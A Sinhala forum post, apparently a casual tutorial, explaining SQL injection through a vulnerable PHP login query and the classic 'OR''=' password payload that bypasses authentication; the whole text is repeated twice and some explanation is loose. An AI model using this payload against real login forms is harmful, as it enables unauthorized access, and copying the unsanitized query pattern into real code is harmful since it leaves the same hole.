සයිට් එකක් හෑක් කරන හැටි.. SQL Injection Tutorial..
මගෙ සයිට් එක හැක් කරපු සීන් එක උඹලට මතකද මන්ද? පශ්චාත් මරණ පරීක්ෂණෙට අනුව මේ මී හරක් රෑල මගෙ Remote Mysql හරහා තමයි සර්වරේ හැක් කරල තීන්නෙ.. මුන් මගෙ host එකටත් පස්සෙ ගේම දීල...!!

කමක් නෑ... මම විභාගෙ ඉවර වෙලා ආයි හොද සයිට් එකක් හදනව බන්...

මම අද හිතුව ඔක්කොටමලට දැන ගන්නත් එක්ක පෝස්ට් එකක් දාන්න මේ තක්කඩි කෝමද SQL Injection කරන්නෙ කියල..


සමහර විට අපෙ 'චූටි මල්ලි' අයියත් මේව උඹලට කියා දීල ඇති උඹලට.. කමක් නෑ... මේ සීන් එකත් තේරෙනවද බලාන්කො... ටිකක් පෝග්රමින් සයිඩ් එකට බරයි... ලොකු සීන් එකක් නෑ...PHP සහ SQL Queries යම් තරමක් දන්නවනම් ප්රමාණවත්...

හරි ඒනම් වැඩේ පටන් ගමු....
SELECT * FROM TABLE_USERS WHERE NAME='ELAKIRI' AND PASSWORD='EK'
මේකෙන් මොකක්ද වෙන්නෙ කියල ඕනි එකෙක් දන්නව ඇති.. මෙකෙන් EK පාස් එක වෙන ELAKIRI යුසර් නේම් එක වෙන එකෙක් ඉන්නවද බලල ඉන්න උන් ලිස්ට් එකක් තියා ගන්නව..
හරි දැන් අපෙ වැඩේට PHP ටිකක් ඕනි වෙනව..ලොකු සීන් එකක් නෑ.. මේකයි මචං සීන් එක..
$username=$_POST['username'];
$password=$_POST['password'];
මේකෙ $_POST['username'] කියල තීන්නෙ අපි දන්නව HTML Login Form එකෙන් පාස් වෙන Values.. ඒ කියන්නෙ අපි Login Button එක ඔබන්න කලින් කොටන ඒව.. මෙන්න මේ වගේ එකක්..
$check = mysql_query("SELECT * FROM table_users WHERE username = '$username' AND password = '$password' ");
දැන් හිතහං කෝඩ් එක දන්න එකෙක්ට පේන කියන්න වගේ හැක් කරන්න ඇහැක් නොවැ.. මේන් බලහන් ක්රමෙ..


උඩ එකෙ කෑල්ලක් ගමු අපෙ වැඩෙ වෙන හැටි පෙන්නන්න...
AND password = '$password' ");
$password වෙනුවය ගහන එකා මෙහෙම හැහුවොත් බලහං වෙන දේ..

$password = 'OR''='


AND password = ' $password ' ");
AND password = ' 'OR''=' ' ");
මෙන්න බලහං ලං කොරාම වෙන සෙල්ලම


AND password = '' OR '' = '' ")
හුටා ඔන්න ඒක තමයි ඉන්ජෙක්සන් එක '' = ''


ඒ කියන්නෙ null == null නම් ඒක හරිනෙ බන්..??


ඉතිං ඒක නිසා මුලු SQL query එකම සත්ය වෙනවනෙ



දැන් බලහං PHP කෝඩ් එකත් ඇන්දෙන හැටි...


$check = mysql_query("SELECT * FROM table_users WHERE username = '$username' AND password = '' OR '' = '' ");
if ($check){
echo 'Logged On'
}
else{
echo 'Invalid Password'
}
අර කලින් කියපු '' = '' සීන් එක නිසා උත්තරය හරි යනව බං..

ඔන්න ඕකයි සීන් එක..
මේ හැක් කරන උන්ගෙ එක උප්පරවට්ටියක් විතරයි..
තව හුගක් ඒව ඇති.. සමහර ඒව ගොඩක් සංකීර්ණයි..මේක අපි හැමෝටම තේරෙන සරල එකක්..
දැන් උඹලට තේරෙනව ඇති හැක් කරන උන් කියන්නෙ කොච්චර අසමජ්ජාති යක්කු උනත් සිරා කෝඩින් වැඩකාරයො කියල..



_____________________________
වැඩිපුර විස්තර ඕනි නම් මෙන්න ඉගෙන ගන්න අයට..
මගෙ සයිට් එක හැක් කරපු සීන් එක උඹලට මතකද මන්ද? පශ්චාත් මරණ පරීක්ෂණෙට අනුව මේ මී හරක් රෑල මගෙ Remote Mysql හරහා තමයි සර්වරේ හැක් කරල තීන්නෙ.. මුන් මගෙ host එකටත් පස්සෙ ගේම දීල...!!


කමක් නෑ... මම විභාගෙ ඉවර වෙලා ආයි හොද සයිට් එකක් හදනව බන්...


මම අද හිතුව ඔක්කොටමලට දැන ගන්නත් එක්ක පෝස්ට් එකක් දාන්න මේ තක්කඩි කෝමද SQL Injection කරන්නෙ කියල..



සමහර විට අපෙ 'චූටි මල්ලි' අයියත් මේව උඹලට කියා දීල ඇති උඹලට.. කමක් නෑ... මේ සීන් එකත් තේරෙනවද බලාන්කො... ටිකක් පෝග්රමින් සයිඩ් එකට බරයි... ලොකු සීන් එකක් නෑ...PHP සහ SQL Queries යම් තරමක් දන්නවනම් ප්රමාණවත්...


හරි ඒනම් වැඩේ පටන් ගමු....
SELECT * FROM TABLE_USERS WHERE NAME='ELAKIRI' AND PASSWORD='EK'
මේකෙන් මොකක්ද වෙන්නෙ කියල ඕනි එකෙක් දන්නව ඇති.. මෙකෙන් EK පාස් එක වෙන ELAKIRI යුසර් නේම් එක වෙන එකෙක් ඉන්නවද බලල ඉන්න උන් ලිස්ට් එකක් තියා ගන්නව..
හරි දැන් අපෙ වැඩේට PHP ටිකක් ඕනි වෙනව..ලොකු සීන් එකක් නෑ.. මේකයි මචං සීන් එක..
$username=$_POST['username'];
$password=$_POST['password'];
මේකෙ $_POST['username'] කියල තීන්නෙ අපි දන්නව HTML Login Form එකෙන් පාස් වෙන Values.. ඒ කියන්නෙ අපි Login Button එක ඔබන්න කලින් කොටන ඒව.. මෙන්න මේ වගේ එකක්..
දැන් අන්න ඒ කොටපුව තමයි PHP වලින් චෙක් කරල බලන්නෙ මේ Query එක හරහා...
දැන් හිතහං කෝඩ් එක දන්න එකෙක්ට පේන කියන්න වගේ හැක් කරන්න ඇහැක් නොවැ.. මේන් බලහන් ක්රමෙ..



උඩ එකෙ කෑල්ලක් ගමු අපෙ වැඩෙ වෙන හැටි පෙන්නන්න...

AND password = '$password' ");
$password වෙනුවය ගහන එකා මෙහෙම හැහුවොත් බලහං වෙන දේ..


$password = 'OR''='



AND password = ' $password ' ");
AND password = ' 'OR''=' ' ");
මෙන්න බලහං ලං කොරාම වෙන සෙල්ලම



AND password = '' OR '' = '' ")
හුටා ඔන්න ඒක තමයි ඉන්ජෙක්සන් එක '' = ''



ඒ කියන්නෙ null == null නම් ඒක හරිනෙ බන්..??



ඉතිං ඒක නිසා මුලු SQL query එකම සත්ය වෙනවනෙ




දැන් බලහං PHP කෝඩ් එකත් ඇන්දෙන හැටි...



$check = mysql_query("SELECT * FROM table_users WHERE username = '$username' AND password = '' OR '' = '' ");
if ($check){
echo 'Logged On'
}
else{
echo 'Invalid Password'
}
අර කලින් කියපු '' = '' සීන් එක නිසා උත්තරය හරි යනව බං..


ඔන්න ඕකයි සීන් එක..

මේ හැක් කරන උන්ගෙ එක උප්පරවට්ටියක් විතරයි.. තව හුගක් ඒව ඇති.. සමහර ඒව ගොඩක් සංකීර්ණයි..මේක අපි හැමෝටම තේරෙන සරල එකක්..
දැන් උඹලට තේරෙනව ඇති හැක් කරන උන් කියන්නෙ කොච්චර අසමජ්ජාති යක්කු උනත් සිරා කෝඩින් වැඩකාරයො කියල..




_____________________________
වැඩිපුර විස්තර ඕනි නම් මෙන්න ඉගෙන ගන්න අයට..
Last edited:



